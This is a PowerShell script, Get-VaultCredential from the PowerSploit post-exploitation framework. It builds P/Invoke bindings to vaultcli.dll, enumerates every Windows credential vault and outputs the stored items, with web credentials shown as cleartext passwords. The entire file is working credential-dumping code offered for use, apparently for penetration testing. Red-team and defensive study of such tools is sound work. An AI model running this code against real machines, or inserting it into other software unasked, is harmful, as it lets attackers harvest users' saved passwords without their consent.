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Get-VaultCredential.ps1
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function Get-VaultCredential
{
<#
.SYNOPSIS
Displays Windows vault credential objects including cleartext web credentials.
PowerSploit Function: Get-VaultCredential
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
Get-VaultCredential enumerates and displays all credentials stored in the Windows
vault. Web credentials, specifically are displayed in cleartext. This script was
inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt
.EXAMPLE
Get-VaultCredential
.NOTES
Only web credentials can be displayed in cleartext.
#>
[CmdletBinding()] Param()
$OSVersion = [Environment]::OSVersion.Version
#region P/Invoke declarations for vaultcli.dll
$DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
$AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Undefined', -1)
$null = $EnumBuilder.DefineLiteral('Boolean', 0)
$null = $EnumBuilder.DefineLiteral('Short', 1)
$null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
$null = $EnumBuilder.DefineLiteral('Int', 3)
$null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
$null = $EnumBuilder.DefineLiteral('Double', 5)
$null = $EnumBuilder.DefineLiteral('Guid', 6)
$null = $EnumBuilder.DefineLiteral('String', 7)
$null = $EnumBuilder.DefineLiteral('ByteArray', 8)
$null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
$null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
$null = $EnumBuilder.DefineLiteral('Attribute', 11)
$null = $EnumBuilder.DefineLiteral('Sid', 12)
$null = $EnumBuilder.DefineLiteral('Last', 13)
$VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()
$EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
$null = $EnumBuilder.DefineLiteral('Illegal', 0)
$null = $EnumBuilder.DefineLiteral('Resource', 1)
$null = $EnumBuilder.DefineLiteral('Identity', 2)
$null = $EnumBuilder.DefineLiteral('Authenticator', 3)
$null = $EnumBuilder.DefineLiteral('Tag', 4)
$null = $EnumBuilder.DefineLiteral('PackageSid', 5)
$null = $EnumBuilder.DefineLiteral('AppStart', 100)
$null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
$VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()
$LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
$CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
$StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
@([Runtime.InteropServices.LayoutKind]::Explicit),
$CharsetField,
@([Runtime.InteropServices.CharSet]::Ansi))
$StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
$null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
$null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
$null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
if ($OSVersion -ge '6.2')
{
$null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
}
$null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
$null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
$null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
$VAULT_ITEM = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
$TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
$null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
$null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
$VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()
$TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Guid].MakeByRefType(),
[UInt32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Int32],
[Int32].MakeByRefType(),
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
if ($OSVersion -ge '6.2')
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
else
{
$PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
'vaultcli.dll',
'Public, Static',
[Reflection.CallingConventions]::Standard,
[Int32],
[Type[]] @([IntPtr],
[Guid].MakeByRefType(),
[IntPtr],
[IntPtr],
[IntPtr],
[Int32],
[IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
[Runtime.InteropServices.CharSet]::Auto)
}
$Vaultcli = $TypeBuilder.CreateType()
#endregion
# Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
function local:Get-VaultElementValue
{
Param (
[ValidateScript({$_ -ne [IntPtr]::Zero})]
[IntPtr]
$VaultElementPtr
)
$PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
$ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)
switch ($PartialElement.Type)
{
$VAULT_ELEMENT_TYPE::String {
$StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
[Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
}
$VAULT_ELEMENT_TYPE::Boolean {
[Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Short {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedShort {
[Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Int {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::UnsignedInt {
[Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
}
$VAULT_ELEMENT_TYPE::Double {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
}
$VAULT_ELEMENT_TYPE::Guid {
[Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
}
$VAULT_ELEMENT_TYPE::Sid {
$SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
Write-Verbose "0x$($SidPtr.ToString('X8'))"
$SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
$SidObject.Value
}
# These elements are currently unimplemented.
# I have yet to see these used in practice.
$VAULT_ELEMENT_TYPE::ByteArray { $null }
$VAULT_ELEMENT_TYPE::TimeStamp { $null }
$VAULT_ELEMENT_TYPE::ProtectedArray { $null }
$VAULT_ELEMENT_TYPE::Attribute { $null }
$VAULT_ELEMENT_TYPE::Last { $null }
}
}
$VaultCount = 0
$VaultGuidPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)
if ($Result -ne 0)
{
throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
}
$GuidAddress = $VaultGuidPtr
$VaultSchema = @{
([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
([Guid] '00000000-0000-0000-0000-000000000000') = $null
}
if ($VaultCount)
{
foreach ($i in 1..$VaultCount)
{
$VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
$GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))
$VaultHandle = [IntPtr]::Zero
Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"
$Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)
if ($Result -ne 0)
{
Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$VaultItemCount = 0
$VaultItemPtr = [IntPtr]::Zero
$Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)
if ($Result -ne 0)
{
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
continue
}
$StructAddress = $VaultItemPtr
if ($VaultItemCount)
{
foreach ($j in 1..$VaultItemCount)
{
$CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
$StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))
$PasswordVaultItem = [IntPtr]::Zero
if ($OSVersion -ge '6.2')
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
$CurrentItem.pPackageSid,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
else
{
$Result = $Vaultcli::VaultGetItem($VaultHandle,
[Ref] $CurrentItem.SchemaId,
$CurrentItem.pResourceElement,
$CurrentItem.pIdentityElement,
[IntPtr]::Zero,
0,
[Ref] $PasswordVaultItem)
}
$PasswordItem = $null
if ($Result -ne 0)
{
Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
continue
}
else
{
$PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
}
if ($VaultSchema.ContainsKey($VaultGuid))
{
$VaultType = $VaultSchema[$VaultGuid]
}
else
{
$VaultType = $VaultGuid
}
if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
{
$Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
}
else
{
$Credential = $null
}
$PackageSid = $null
if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
{
$PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
}
$Properties = @{
Vault = $VaultType
Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
PackageSid = $PackageSid
Credential = $Credential
LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
}
$VaultItem = New-Object PSObject -Property $Properties
$VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'
$VaultItem
$null = $Vaultcli::VaultFree($PasswordVaultItem)
}
}
$null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
}
}
}